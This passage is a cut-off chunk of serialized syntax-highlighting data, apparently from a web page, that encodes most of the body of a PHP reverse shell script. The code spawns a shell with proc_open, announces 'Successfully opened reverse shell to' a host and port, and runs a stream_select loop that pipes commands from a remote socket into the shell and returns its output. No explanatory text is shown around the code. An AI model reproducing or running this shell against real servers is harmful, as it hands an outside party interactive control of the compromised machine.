=>",{"type":24,"tag":139,"props":1133,"children":1134},{"style":214},[1135],{"type":34,"value":1111},{"type":24,"tag":139,"props":1137,"children":1138},{"style":220},[1139],{"type":34,"value":467},{"type":24,"tag":139,"props":1141,"children":1142},{"style":252},[1143],{"type":34,"value":1144},"\"pipe\"",{"type":24,"tag":139,"props":1146,"children":1147},{"style":220},[1148],{"type":34,"value":951},{"type":24,"tag":139,"props":1150,"children":1151},{"style":252},[1152],{"type":34,"value":1153}," \"r\"",{"type":24,"tag":139,"props":1155,"children":1156},{"style":220},[1157],{"type":34,"value":1158},"),",{"type":24,"tag":139,"props":1160,"children":1161},{"style":186},[1162],{"type":34,"value":1163},"  \u002F\u002F stdin is a pipe that the child will read from\n",{"type":24,"tag":139,"props":1165,"children":1167},{"class":159,"line":1166},50,[1168,1173,1177,1181,1185,1189,1193,1198,1202],{"type":24,"tag":139,"props":1169,"children":1170},{"style":226},[1171],{"type":34,"value":1172},"   1",{"type":24,"tag":139,"props":1174,"children":1175},{"style":1128},[1176],{"type":34,"value":1131},{"type":24,"tag":139,"props":1178,"children":1179},{"style":214},[1180],{"type":34,"value":1111},{"type":24,"tag":139,"props":1182,"children":1183},{"style":220},[1184],{"type":34,"value":467},{"type":24,"tag":139,"props":1186,"children":1187},{"style":252},[1188],{"type":34,"value":1144},{"type":24,"tag":139,"props":1190,"children":1191},{"style":220},[1192],{"type":34,"value":951},{"type":24,"tag":139,"props":1194,"children":1195},{"style":252},[1196],{"type":34,"value":1197}," \"w\"",{"type":24,"tag":139,"props":1199,"children":1200},{"style":220},[1201],{"type":34,"value":1158},{"type":24,"tag":139,"props":1203,"children":1204},{"style":186},[1205],{"type":34,"value":1206},"  \u002F\u002F stdout is a pipe that the child will write to\n",{"type":24,"tag":139,"props":1208,"children":1210},{"class":159,"line":1209},51,[1211,1216,1220,1224,1228,1232,1236,1240,1244],{"type":24,"tag":139,"props":1212,"children":1213},{"style":226},[1214],{"type":34,"value":1215},"   2",{"type":24,"tag":139,"props":1217,"children":1218},{"style":1128},[1219],{"type":34,"value":1131},{"type":24,"tag":139,"props":1221,"children":1222},{"style":214},[1223],{"type":34,"value":1111},{"type":24,"tag":139,"props":1225,"children":1226},{"style":220},[1227],{"type":34,"value":467},{"type":24,"tag":139,"props":1229,"children":1230},{"style":252},[1231],{"type":34,"value":1144},{"type":24,"tag":139,"props":1233,"children":1234},{"style":220},[1235],{"type":34,"value":951},{"type":24,"tag":139,"props":1237,"children":1238},{"style":252},[1239],{"type":34,"value":1197},{"type":24,"tag":139,"props":1241,"children":1242},{"style":220},[1243],{"type":34,"value":551},{"type":24,"tag":139,"props":1245,"children":1246},{"style":186},[1247],{"type":34,"value":1248},"   \u002F\u002F stderr is a pipe that the child will write to\n",{"type":24,"tag":139,"props":1250,"children":1252},{"class":159,"line":1251},52,[1253],{"type":24,"tag":139,"props":1254,"children":1255},{"style":220},[1256],{"type":34,"value":234},{"type":24,"tag":139,"props":1258,"children":1260},{"class":159,"line":1259},53,[1261],{"type":24,"tag":139,"props":1262,"children":1263},{"emptyLinePlaceholder":14},[1264],{"type":34,"value":207},{"type":24,"tag":139,"props":1266,"children":1268},{"class":159,"line":1267},54,[1269,1274,1278,1283,1287,1291,1295,1300,1304,1309],{"type":24,"tag":139,"props":1270,"children":1271},{"style":241},[1272],{"type":34,"value":1273},"$process",{"type":24,"tag":139,"props":1275,"children":1276},{"style":164},[1277],{"type":34,"value":249},{"type":24,"tag":139,"props":1279,"children":1280},{"style":214},[1281],{"type":34,"value":1282}," proc_open",{"type":24,"tag":139,"props":1284,"children":1285},{"style":220},[1286],{"type":34,"value":467},{"type":24,"tag":139,"props":1288,"children":1289},{"style":241},[1290],{"type":34,"value":379},{"type":24,"tag":139,"props":1292,"children":1293},{"style":220},[1294],{"type":34,"value":951},{"type":24,"tag":139,"props":1296,"children":1297},{"style":241},[1298],{"type":34,"value":1299}," $descriptorspec",{"type":24,"tag":139,"props":1301,"children":1302},{"style":220},[1303],{"type":34,"value":951},{"type":24,"tag":139,"props":1305,"children":1306},{"style":241},[1307],{"type":34,"value":1308}," $pipes",{"type":24,"tag":139,"props":1310,"children":1311},{"style":220},[1312],{"type":34,"value":234},{"type":24,"tag":139,"props":1314,"children":1316},{"class":159,"line":1315},55,[1317],{"type":24,"tag":139,"props":1318,"children":1319},{"emptyLinePlaceholder":14},[1320],{"type":34,"value":207},{"type":24,"tag":139,"props":1322,"children":1324},{"class":159,"line":1323},56,[1325,1329,1333,1337,1342,1346,1350,1354],{"type":24,"tag":139,"props":1326,"children":1327},{"style":450},[1328],{"type":34,"value":453},{"type":24,"tag":139,"props":1330,"children":1331},{"style":220},[1332],{"type":34,"value":223},{"type":24,"tag":139,"props":1334,"children":1335},{"style":164},[1336],{"type":34,"value":1004},{"type":24,"tag":139,"props":1338,"children":1339},{"style":214},[1340],{"type":34,"value":1341},"is_resource",{"type":24,"tag":139,"props":1343,"children":1344},{"style":220},[1345],{"type":34,"value":467},{"type":24,"tag":139,"props":1347,"children":1348},{"style":241},[1349],{"type":34,"value":1273},{"type":24,"tag":139,"props":1351,"children":1352},{"style":220},[1353],{"type":34,"value":477},{"type":24,"tag":139,"props":1355,"children":1356},{"style":220},[1357],{"type":34,"value":482},{"type":24,"tag":139,"props":1359,"children":1361},{"class":159,"line":1360},57,[1362,1366,1370,1375],{"type":24,"tag":139,"props":1363,"children":1364},{"style":562},[1365],{"type":34,"value":822},{"type":24,"tag":139,"props":1367,"children":1368},{"style":220},[1369],{"type":34,"value":467},{"type":24,"tag":139,"props":1371,"children":1372},{"style":252},[1373],{"type":34,"value":1374},"\"ERROR: Can't spawn shell\"",{"type":24,"tag":139,"props":1376,"children":1377},{"style":220},[1378],{"type":34,"value":234},{"type":24,"tag":139,"props":1380,"children":1382},{"class":159,"line":1381},58,[1383,1387,1391,1395],{"type":24,"tag":139,"props":1384,"children":1385},{"style":450},[1386],{"type":34,"value":1065},{"type":24,"tag":139,"props":1388,"children":1389},{"style":220},[1390],{"type":34,"value":467},{"type":24,"tag":139,"props":1392,"children":1393},{"style":226},[1394],{"type":34,"value":546},{"type":24,"tag":139,"props":1396,"children":1397},{"style":220},[1398],{"type":34,"value":234},{"type":24,"tag":139,"props":1400,"children":1402},{"class":159,"line":1401},59,[1403],{"type":24,"tag":139,"props":1404,"children":1405},{"style":220},[1406],{"type":34,"value":844},{"type":24,"tag":139,"props":1408,"children":1410},{"class":159,"line":1409},60,[1411],{"type":24,"tag":139,"props":1412,"children":1413},{"emptyLinePlaceholder":14},[1414],{"type":34,"value":207},{"type":24,"tag":139,"props":1416,"children":1418},{"class":159,"line":1417},61,[1419,1424,1428,1433,1438,1442,1447,1451],{"type":24,"tag":139,"props":1420,"children":1421},{"style":214},[1422],{"type":34,"value":1423},"stream_set_blocking",{"type":24,"tag":139,"props":1425,"children":1426},{"style":220},[1427],{"type":34,"value":467},{"type":24,"tag":139,"props":1429,"children":1430},{"style":241},[1431],{"type":34,"value":1432},"$pipes",{"type":24,"tag":139,"props":1434,"children":1435},{"style":220},[1436],{"type":34,"value":1437},"[",{"type":24,"tag":139,"props":1439,"children":1440},{"style":226},[1441],{"type":34,"value":229},{"type":24,"tag":139,"props":1443,"children":1444},{"style":220},[1445],{"type":34,"value":1446},"],",{"type":24,"tag":139,"props":1448,"children":1449},{"style":226},[1450],{"type":34,"value":410},{"type":24,"tag":139,"props":1452,"children":1453},{"style":220},[1454],{"type":34,"value":234},{"type":24,"tag":139,"props":1456,"children":1458},{"class":159,"line":1457},62,[1459,1463,1467,1471,1475,1479,1483,1487],{"type":24,"tag":139,"props":1460,"children":1461},{"style":214},[1462],{"type":34,"value":1423},{"type":24,"tag":139,"props":1464,"children":1465},{"style":220},[1466],{"type":34,"value":467},{"type":24,"tag":139,"props":1468,"children":1469},{"style":241},[1470],{"type":34,"value":1432},{"type":24,"tag":139,"props":1472,"children":1473},{"style":220},[1474],{"type":34,"value":1437},{"type":24,"tag":139,"props":1476,"children":1477},{"style":226},[1478],{"type":34,"value":546},{"type":24,"tag":139,"props":1480,"children":1481},{"style":220},[1482],{"type":34,"value":1446},{"type":24,"tag":139,"props":1484,"children":1485},{"style":226},[1486],{"type":34,"value":410},{"type":24,"tag":139,"props":1488,"children":1489},{"style":220},[1490],{"type":34,"value":234},{"type":24,"tag":139,"props":1492,"children":1494},{"class":159,"line":1493},63,[1495,1499,1503,1507,1511,1516,1520,1524],{"type":24,"tag":139,"props":1496,"children":1497},{"style":214},[1498],{"type":34,"value":1423},{"type":24,"tag":139,"props":1500,"children":1501},{"style":220},[1502],{"type":34,"value":467},{"type":24,"tag":139,"props":1504,"children":1505},{"style":241},[1506],{"type":34,"value":1432},{"type":24,"tag":139,"props":1508,"children":1509},{"style":220},[1510],{"type":34,"value":1437},{"type":24,"tag":139,"props":1512,"children":1513},{"style":226},[1514],{"type":34,"value":1515},"2",{"type":24,"tag":139,"props":1517,"children":1518},{"style":220},[1519],{"type":34,"value":1446},{"type":24,"tag":139,"props":1521,"children":1522},{"style":226},[1523],{"type":34,"value":410},{"type":24,"tag":139,"props":1525,"children":1526},{"style":220},[1527],{"type":34,"value":234},{"type":24,"tag":139,"props":1529,"children":1531},{"class":159,"line":1530},64,[1532,1536,1540,1544,1548,1552],{"type":24,"tag":139,"props":1533,"children":1534},{"style":214},[1535],{"type":34,"value":1423},{"type":24,"tag":139,"props":1537,"children":1538},{"style":220},[1539],{"type":34,"value":467},{"type":24,"tag":139,"props":1541,"children":1542},{"style":241},[1543],{"type":34,"value":929},{"type":24,"tag":139,"props":1545,"children":1546},{"style":220},[1547],{"type":34,"value":951},{"type":24,"tag":139,"props":1549,"children":1550},{"style":226},[1551],{"type":34,"value":410},{"type":24,"tag":139,"props":1553,"children":1554},{"style":220},[1555],{"type":34,"value":234},{"type":24,"tag":139,"props":1557,"children":1559},{"class":159,"line":1558},65,[1560],{"type":24,"tag":139,"props":1561,"children":1562},{"emptyLinePlaceholder":14},[1563],{"type":34,"value":207},{"type":24,"tag":139,"props":1565,"children":1567},{"class":159,"line":1566},66,[1568,1573,1577,1582,1586,1591,1595,1599],{"type":24,"tag":139,"props":1569,"children":1570},{"style":562},[1571],{"type":34,"value":1572},"printit",{"type":24,"tag":139,"props":1574,"children":1575},{"style":220},[1576],{"type":34,"value":467},{"type":24,"tag":139,"props":1578,"children":1579},{"style":252},[1580],{"type":34,"value":1581},"\"Successfully opened reverse shell to ",{"type":24,"tag":139,"props":1583,"children":1584},{"style":241},[1585],{"type":34,"value":269},{"type":24,"tag":139,"props":1587,"children":1588},{"style":252},[1589],{"type":34,"value":1590},":",{"type":24,"tag":139,"props":1592,"children":1593},{"style":241},[1594],{"type":34,"value":291},{"type":24,"tag":139,"props":1596,"children":1597},{"style":252},[1598],{"type":34,"value":1033},{"type":24,"tag":139,"props":1600,"children":1601},{"style":220},[1602],{"type":34,"value":234},{"type":24,"tag":139,"props":1604,"children":1606},{"class":159,"line":1605},67,[1607],{"type":24,"tag":139,"props":1608,"children":1609},{"emptyLinePlaceholder":14},[1610],{"type":34,"value":207},{"type":24,"tag":139,"props":1612,"children":1614},{"class":159,"line":1613},68,[1615,1620,1624,1628,1632],{"type":24,"tag":139,"props":1616,"children":1617},{"style":450},[1618],{"type":34,"value":1619},"while",{"type":24,"tag":139,"props":1621,"children":1622},{"style":220},[1623],{"type":34,"value":223},{"type":24,"tag":139,"props":1625,"children":1626},{"style":226},[1627],{"type":34,"value":546},{"type":24,"tag":139,"props":1629,"children":1630},{"style":220},[1631],{"type":34,"value":551},{"type":24,"tag":139,"props":1633,"children":1634},{"style":220},[1635],{"type":34,"value":482},{"type":24,"tag":139,"props":1637,"children":1639},{"class":159,"line":1638},69,[1640,1644,1648,1653,1657,1661,1665],{"type":24,"tag":139,"props":1641,"children":1642},{"style":450},[1643],{"type":34,"value":522},{"type":24,"tag":139,"props":1645,"children":1646},{"style":220},[1647],{"type":34,"value":223},{"type":24,"tag":139,"props":1649,"children":1650},{"style":214},[1651],{"type":34,"value":1652},"feof",{"type":24,"tag":139,"props":1654,"children":1655},{"style":220},[1656],{"type":34,"value":467},{"type":24,"tag":139,"props":1658,"children":1659},{"style":241},[1660],{"type":34,"value":929},{"type":24,"tag":139,"props":1662,"children":1663},{"style":220},[1664],{"type":34,"value":477},{"type":24,"tag":139,"props":1666,"children":1667},{"style":220},[1668],{"type":34,"value":482},{"type":24,"tag":139,"props":1670,"children":1672},{"class":159,"line":1671},70,[1673,1677,1681,1686],{"type":24,"tag":139,"props":1674,"children":1675},{"style":562},[1676],{"type":34,"value":565},{"type":24,"tag":139,"props":1678,"children":1679},{"style":220},[1680],{"type":34,"value":467},{"type":24,"tag":139,"props":1682,"children":1683},{"style":252},[1684],{"type":34,"value":1685},"\"ERROR: Shell connection terminated\"",{"type":24,"tag":139,"props":1687,"children":1688},{"style":220},[1689],{"type":34,"value":234},{"type":24,"tag":139,"props":1691,"children":1693},{"class":159,"line":1692},71,[1694,1699],{"type":24,"tag":139,"props":1695,"children":1696},{"style":450},[1697],{"type":34,"value":1698},"                break",{"type":24,"tag":139,"props":1700,"children":1701},{"style":220},[1702],{"type":34,"value":260},{"type":24,"tag":139,"props":1704,"children":1706},{"class":159,"line":1705},72,[1707],{"type":24,"tag":139,"props":1708,"children":1709},{"style":220},[1710],{"type":34,"value":608},{"type":24,"tag":139,"props":1712,"children":1714},{"class":159,"line":1713},73,[1715],{"type":24,"tag":139,"props":1716,"children":1717},{"emptyLinePlaceholder":14},[1718],{"type":34,"value":207},{"type":24,"tag":139,"props":1720,"children":1722},{"class":159,"line":1721},74,[1723,1727,1731,1735,1739,1743,1747,1751,1756],{"type":24,"tag":139,"props":1724,"children":1725},{"style":450},[1726],{"type":34,"value":522},{"type":24,"tag":139,"props":1728,"children":1729},{"style":220},[1730],{"type":34,"value":223},{"type":24,"tag":139,"props":1732,"children":1733},{"style":214},[1734],{"type":34,"value":1652},{"type":24,"tag":139,"props":1736,"children":1737},{"style":220},[1738],{"type":34,"value":467},{"type":24,"tag":139,"props":1740,"children":1741},{"style":241},[1742],{"type":34,"value":1432},{"type":24,"tag":139,"props":1744,"children":1745},{"style":220},[1746],{"type":34,"value":1437},{"type":24,"tag":139,"props":1748,"children":1749},{"style":226},[1750],{"type":34,"value":546},{"type":24,"tag":139,"props":1752,"children":1753},{"style":220},[1754],{"type":34,"value":1755},"]))",{"type":24,"tag":139,"props":1757,"children":1758},{"style":220},[1759],{"type":34,"value":482},{"type":24,"tag":139,"props":1761,"children":1763},{"class":159,"line":1762},75,[1764,1768,1772,1777],{"type":24,"tag":139,"props":1765,"children":1766},{"style":562},[1767],{"type":34,"value":565},{"type":24,"tag":139,"props":1769,"children":1770},{"style":220},[1771],{"type":34,"value":467},{"type":24,"tag":139,"props":1773,"children":1774},{"style":252},[1775],{"type":34,"value":1776},"\"ERROR: Shell process terminated\"",{"type":24,"tag":139,"props":1778,"children":1779},{"style":220},[1780],{"type":34,"value":234},{"type":24,"tag":139,"props":1782,"children":1784},{"class":159,"line":1783},76,[1785,1789],{"type":24,"tag":139,"props":1786,"children":1787},{"style":450},[1788],{"type":34,"value":1698},{"type":24,"tag":139,"props":1790,"children":1791},{"style":220},[1792],{"type":34,"value":260},{"type":24,"tag":139,"props":1794,"children":1796},{"class":159,"line":1795},77,[1797],{"type":24,"tag":139,"props":1798,"children":1799},{"style":220},[1800],{"type":34,"value":608},{"type":24,"tag":139,"props":1802,"children":1804},{"class":159,"line":1803},78,[1805],{"type":24,"tag":139,"props":1806,"children":1807},{"emptyLinePlaceholder":14},[1808],{"type":34,"value":207},{"type":24,"tag":139,"props":1810,"children":1812},{"class":159,"line":1811},79,[1813,1818,1822,1826,1830,1834,1838,1842,1846,1850,1854,1858,1862,1866],{"type":24,"tag":139,"props":1814,"children":1815},{"style":241},[1816],{"type":34,"value":1817},"        $read_a",{"type":24,"tag":139,"props":1819,"children":1820},{"style":164},[1821],{"type":34,"value":249},{"type":24,"tag":139,"props":1823,"children":1824},{"style":214},[1825],{"type":34,"value":1111},{"type":24,"tag":139,"props":1827,"children":1828},{"style":220},[1829],{"type":34,"value":467},{"type":24,"tag":139,"props":1831,"children":1832},{"style":241},[1833],{"type":34,"value":929},{"type":24,"tag":139,"props":1835,"children":1836},{"style":220},[1837],{"type":34,"value":951},{"type":24,"tag":139,"props":1839,"children":1840},{"style":241},[1841],{"type":34,"value":1308},{"type":24,"tag":139,"props":1843,"children":1844},{"style":220},[1845],{"type":34,"value":1437},{"type":24,"tag":139,"props":1847,"children":1848},{"style":226},[1849],{"type":34,"value":546},{"type":24,"tag":139,"props":1851,"children":1852},{"style":220},[1853],{"type":34,"value":1446},{"type":24,"tag":139,"props":1855,"children":1856},{"style":241},[1857],{"type":34,"value":1308},{"type":24,"tag":139,"props":1859,"children":1860},{"style":220},[1861],{"type":34,"value":1437},{"type":24,"tag":139,"props":1863,"children":1864},{"style":226},[1865],{"type":34,"value":1515},{"type":24,"tag":139,"props":1867,"children":1868},{"style":220},[1869],{"type":34,"value":1870},"]);\n",{"type":24,"tag":139,"props":1872,"children":1874},{"class":159,"line":1873},80,[1875,1880,1884,1889,1893,1898,1902,1907,1911,1916,1920,1924],{"type":24,"tag":139,"props":1876,"children":1877},{"style":241},[1878],{"type":34,"value":1879},"        $num_changed_sockets",{"type":24,"tag":139,"props":1881,"children":1882},{"style":164},[1883],{"type":34,"value":249},{"type":24,"tag":139,"props":1885,"children":1886},{"style":214},[1887],{"type":34,"value":1888}," stream_select",{"type":24,"tag":139,"props":1890,"children":1891},{"style":220},[1892],{"type":34,"value":467},{"type":24,"tag":139,"props":1894,"children":1895},{"style":241},[1896],{"type":34,"value":1897},"$read_a",{"type":24,"tag":139,"props":1899,"children":1900},{"style":220},[1901],{"type":34,"value":951},{"type":24,"tag":139,"props":1903,"children":1904},{"style":241},[1905],{"type":34,"value":1906}," $write_a",{"type":24,"tag":139,"props":1908,"children":1909},{"style":220},[1910],{"type":34,"value":951},{"type":24,"tag":139,"props":1912,"children":1913},{"style":241},[1914],{"type":34,"value":1915}," $error_a",{"type":24,"tag":139,"props":1917,"children":1918},{"style":220},[1919],{"type":34,"value":951},{"type":24,"tag":139,"props":1921,"children":1922},{"style":342},[1923],{"type":34,"value":345},{"type":24,"tag":139,"props":1925,"children":1926},{"style":220},[1927],{"type":34,"value":234},{"type":24,"tag":139,"props":1929,"children":1931},{"class":159,"line":1930},81,[1932],{"type":24,"tag":139,"props":1933,"children":1934},{"emptyLinePlaceholder":14},[1935],{"type":34,"value":207},{"type":24,"tag":139,"props":1937,"children":1939},{"class":159,"line":1938},82,[1940,1944,1948,1953,1957,1961,1965,1970,1974],{"type":24,"tag":139,"props":1941,"children":1942},{"style":450},[1943],{"type":34,"value":522},{"type":24,"tag":139,"props":1945,"children":1946},{"style":220},[1947],{"type":34,"value":223},{"type":24,"tag":139,"props":1949,"children":1950},{"style":214},[1951],{"type":34,"value":1952},"in_array",{"type":24,"tag":139,"props":1954,"children":1955},{"style":220},[1956],{"type":34,"value":467},{"type":24,"tag":139,"props":1958,"children":1959},{"style":241},[1960],{"type":34,"value":929},{"type":24,"tag":139,"props":1962,"children":1963},{"style":220},[1964],{"type":34,"value":951},{"type":24,"tag":139,"props":1966,"children":1967},{"style":241},[1968],{"type":34,"value":1969}," $read_a",{"type":24,"tag":139,"props":1971,"children":1972},{"style":220},[1973],{"type":34,"value":477},{"type":24,"tag":139,"props":1975,"children":1976},{"style":220},[1977],{"type":34,"value":482},{"type":24,"tag":139,"props":1979,"children":1981},{"class":159,"line":1980},83,[1982,1987,1991,1995,1999,2004,2008,2013],{"type":24,"tag":139,"props":1983,"children":1984},{"style":450},[1985],{"type":34,"value":1986},"                if",{"type":24,"tag":139,"props":1988,"children":1989},{"style":220},[1990],{"type":34,"value":223},{"type":24,"tag":139,"props":1992,"children":1993},{"style":241},[1994],{"type":34,"value":423},{"type":24,"tag":139,"props":1996,"children":1997},{"style":220},[1998],{"type":34,"value":551},{"type":24,"tag":139,"props":2000,"children":2001},{"style":562},[2002],{"type":34,"value":2003}," printit",{"type":24,"tag":139,"props":2005,"children":2006},{"style":220},[2007],{"type":34,"value":467},{"type":24,"tag":139,"props":2009,"children":2010},{"style":252},[2011],{"type":34,"value":2012},"\"SOCK READ\"",{"type":24,"tag":139,"props":2014,"children":2015},{"style":220},[2016],{"type":34,"value":234},{"type":24,"tag":139,"props":2018,"children":2020},{"class":159,"line":2019},84,[2021,2026,2030,2035,2039,2043,2047,2052],{"type":24,"tag":139,"props":2022,"children":2023},{"style":241},[2024],{"type":34,"value":2025},"                $input",{"type":24,"tag":139,"props":2027,"children":2028},{"style":164},[2029],{"type":34,"value":249},{"type":24,"tag":139,"props":2031,"children":2032},{"style":214},[2033],{"type":34,"value":2034}," fread",{"type":24,"tag":139,"props":2036,"children":2037},{"style":220},[2038],{"type":34,"value":467},{"type":24,"tag":139,"props":2040,"children":2041},{"style":241},[2042],{"type":34,"value":929},{"type":24,"tag":139,"props":2044,"children":2045},{"style":220},[2046],{"type":34,"value":951},{"type":24,"tag":139,"props":2048,"children":2049},{"style":241},[2050],{"type":34,"value":2051}," $chunk_size",{"type":24,"tag":139,"props":2053,"children":2054},{"style":220},[2055],{"type":34,"value":234},{"type":24,"tag":139,"props":2057,"children":2059},{"class":159,"line":2058},85,[2060,2064,2068,2072,2076,2080,2084,2089,2094,2098],{"type":24,"tag":139,"props":2061,"children":2062},{"style":450},[2063],{"type":34,"value":1986},{"type":24,"tag":139,"props":2065,"children":2066},{"style":220},[2067],{"type":34,"value":223},{"type":24,"tag":139,"props":2069,"children":2070},{"style":241},[2071],{"type":34,"value":423},{"type":24,"tag":139,"props":2073,"children":2074},{"style":220},[2075],{"type":34,"value":551},{"type":24,"tag":139,"props":2077,"children":2078},{"style":562},[2079],{"type":34,"value":2003},{"type":24,"tag":139,"props":2081,"children":2082},{"style":220},[2083],{"type":34,"value":467},{"type":24,"tag":139,"props":2085,"children":2086},{"style":252},[2087],{"type":34,"value":2088},"\"SOCK: ",{"type":24,"tag":139,"props":2090,"children":2091},{"style":241},[2092],{"type":34,"value":2093},"$input",{"type":24,"tag":139,"props":2095,"children":2096},{"style":252},[2097],{"type":34,"value":1033},{"type":24,"tag":139,"props":2099,"children":2100},{"style":220},[2101],{"type":34,"value":234},{"type":24,"tag":139,"props":2103,"children":2105},{"class":159,"line":2104},86,[2106,2111,2115,2119,2123,2127,2131,2136],{"type":24,"tag":139,"props":2107,"children":2108},{"style":214},[2109],{"type":34,"value":2110},"                fwrite",{"type":24,"tag":139,"props":2112,"children":2113},{"style":220},[2114],{"type":34,"value":467},{"type":24,"tag":139,"props":2116,"children":2117},{"style":241},[2118],{"type":34,"value":1432},{"type":24,"tag":139,"props":2120,"children":2121},{"style":220},[2122],{"type":34,"value":1437},{"type":24,"tag":139,"props":2124,"children":2125},{"style":226},[2126],{"type":34,"value":229},{"type":24,"tag":139,"props":2128,"children":2129},{"style":220},[2130],{"type":34,"value":1446},{"type":24,"tag":139,"props":2132,"children":2133},{"style":241},[2134],{"type":34,"value":2135}," $input",{"type":24,"tag":139,"props":2137,"children":2138},{"style":220},[2139],{"type":34,"value":234},{"type":24,"tag":139,"props":2141,"children":2143},{"class":159,"line":2142},87,[2144],{"type":24,"tag":139,"props":2145,"children":2146},{"style":220},[2147],{"type":34,"value":608},{"type":24,"tag":139,"props":2149,"children":2151},{"class":159,"line":2150},88,[2152],{"type":24,"tag":139,"props":2153,"children":2154},{"emptyLinePlaceholder":14},[2155],{"type":34,"value":207},{"type":24,"tag":139,"props":2157,"children":2159},{"class":159,"line":2158},89,[2160,2164,2168,2172,2176,2180,2184,2188,2192,2196,2200],{"type":24,"tag":139,"props":2161,"children":2162},{"style":450},[2163],{"type":34,"value":522},{"type":24,"tag":139,"props":2165,"children":2166},{"style":220},[2167],{"type":34,"value":223},{"type":24,"tag":139,"props":2169,"children":2170},{"style":214},[2171],{"type":34,"value":1952},{"type":24,"tag":139,"props":2173,"children":2174},{"style":220},[2175],{"type":34,"value":467},{"type":24,"tag":139,"props":2177,"children":2178},{"style":241},[2179],{"type":34,"value":1432},{"type":24,"tag":139,"props":2181,"children":2182},{"style":220},[2183],{"type":34,"value":1437},{"type":24,"tag":139,"props":2185,"children":2186},{"style":226},[2187],{"type":34,"value":546},{"type":24,"tag":139,"props":2189,"children":2190},{"style":220},[2191],{"type":34,"value":1446},{"type":24,"tag":139,"props":2193,"children":2194},{"style":241},[2195],{"type":34,"value":1969},{"type":24,"tag":139,"props":2197,"children":2198},{"style":220},[2199],{"type":34,"value":477},{"type":24,"tag":139,"props":2201,"children":2202},{"style":220},[2203],{"type":34,"value":482},{"type":24,"tag":139,"props":2205,"children":2207},{"class":159,"line":2206},90,[2208,2212,2216,2220,2224,2228,2232,2237],{"type":24,"tag":139,"props":2209,"children":2210},{"style":450},[2211],{"type":34,"value":1986},{"type":24,"tag":139,"props":2213,"children":2214},{"style":220},[2215],{"type":34,"value":223},{"type":24,"tag":139,"props":2217,"children":2218},{"style":241},[2219],{"type":34,"value":423},{"type":24,"tag":139,"props":2221,"children":2222},{"style":220},[2223],{"type":34,"value":551},{"type":24,"tag":139,"props":2225,"children":2226},{"style":562},[2227],{"type":34,"value":2003},{"type":24,"tag":139,"props":2229,"children":2230},{"style":220},[2231],{"type":34,"value":467},{"type":24,"tag":139,"props":2233,"children":2234},{"style":252},[2235],{"type":34,"value":2236},"\"STDOUT READ\"",{"type":24,"tag":139,"props":2238,"children":2239},{"style":220},[2240],{"type":34,"value":234},{"type":24,"tag":139,"props":2242,"children":2244},{"class":159,"line":2243},91,[2245,2249,2253,2257,2261,2265,2269,2273,2277,2281],{"type":24,"tag":139,"props":2246,"children":2247},{"style":241},[2248],{"type":34,"value":2025},{"type":24,"tag":139,"props":2250,"children":2251},{"style":164},[2252],{"type":34,"value":249},{"type":24,"tag":139,"props":2254,"children":2255},{"style":214},[2256],{"type":34,"value":2034},{"type":24,"tag":139,"props":2258,"children":2259},{"style":220},[2260],{"type":34,"value":467},{"type":24,"tag":139,"props":2262,"children":2263},{"style":241},[2264],{"type":34,"value":1432},{"type":24,"tag":139,"props":2266,"children":2267},{"style":220},[2268],{"type":34,"value":1437},{"type":24,"tag":139,"props":2270,"children":2271},{"style":226},[2272],{"type":34,"value":546},{"type":24,"tag":139,"props":2274,"children":2275},{"style":220},[2276],{"type":34,"value":1446},{"type":24,"tag":139,"props":2278,"children":2279},{"style":241},[2280],{"type":34,"value":2051},{"type":24,"tag":139,"props":2282,"children":2283},{"style":220},[2284],{"type":34,"value":234},{"type":24,"tag":139,"props":2286,"children":2288},{"class":159,"line":2287},92,[2289,2293,2297,2301,2305,2309,2313,2318,2322,2326],{"type":24,"tag":139,"props":2290,"children":2291},{"style":450},[2292],{"type":34,"value":1986},{"type":24,"tag":139,"props":2294,"children":2295},{"style":220},[2296],{"type":34,"value":223},{"type":24,"tag":139,"props":2298,"children":2299},{"style":241},[2300],{"type":34,"value":423},{"type":24,"tag":139,"props":2302,"children":2303},{"style":220},[2304],{"type":34,"value":551},{"type":24,"tag":139,"props":2306,"children":2307},{"style":562},[2308],{"type":34,"value":2003},{"type":24,"tag":139,"props":2310,"children":2311},{"style":220},[2312],{"type":34,"value":467},{"type":24,"tag":139,"props":2314,"children":2315},{"style":252},[2316],{"type":34,"value":2317},"\"STDOUT: ",{"type":24,"tag":139,"props":2319,"children":2320},{"style":241},[2321],{"type":34,"value":2093},{"type":24,"tag":139,"props":2323,"children":2324},{"style":252},[2325],{"type":34,"value":1033},{"type":24,"tag":139,"props":2327,"children":2328},{"style":220},[2329],{"type":34,"value":234},{"type":24,"tag":139,"props":2331,"children":2333},{"class":159,"line":2332},93,[2334,2338,2342,2346,2350,2354],{"type":24,"tag":139,"props":2335,"children":2336},{"style":214},[2337],{"type":34,"value":2110},{"type":24,"tag":139,"props":2339,"children":2340},{"style":220},[2341],{"type":34,"value":467},{"type":24,"tag":139,"props":2343,"children":2344},{"style":241},[2345],{"type":34,"value":929},{"type":24,"tag":139,"props":2347,"children":2348},{"style":220},[2349],{"type":34,"value":951},{"type":24,"tag":139,"props":2351,"children":2352},{"style":241},[2353],{"type":34,"value":2135},{"type":24,"tag":139,"props":2355,"children":2356},{"style":220},[2357],{"type":34,"value":234},{"type":24,"tag":139,"props":2359,"children":2361},{"class":159,"line":2360},94,[2362],{"type":24,"tag":139,"props":2363,"children":2364},{"style":220},[2365],{"type":34,"value":608},{"type":24,"tag":139,"props":2367,"children":2369},{"class":159,"line":2368},95,[2370],{"type":24,"tag":139,"props":2371,"children":2372},{"emptyLinePlaceholder":14},[2373],{"type":34,"value":207},{"type":24,"tag":139,"props":2375,"children":2377},{"class":159,"line":2376},96,[2378,2382,2386,2390,2394,2398,2402,2406,2410,2414,2418],{"type":24,"tag":139,"props":2379,"children":2380},{"style":450},[2381],{"type":34,"value":522},{"type":24,"tag":139,"props":2383,"children":2384},{"style":220},[2385],{"type":34,"value":223},{"type":24,"tag":139,"props":2387,"children":2388},{"style":214},[2389],{"type":34,"value":1952},{"type":24,"tag":139,"props":2391,"children":2392},{"style":220},[2393],{"type":34,"value":467},{"type":24,"tag":139,"props":2395,"children":2396},{"style":241},[2397],{"type":34,"value":1432},{"type":24,"tag":139,"props":2399,"children":2400},{"style":220},[2401],{"type":34,"value":1437},{"type":24,"tag":139,"props":2403,"children":2404},{"style":226},[2405],{"type":34,"value":1515},{"type":24,"tag":139,"props":2407,"children":2408},{"style":220},[2409],{"type":34,"value":1446},{"type":24,"tag":139,"props":2411,"children":2412},{"style":241},[2413],{"type":34,"value":1969},{"type":24,"tag":139,"props":2415,"children":2416}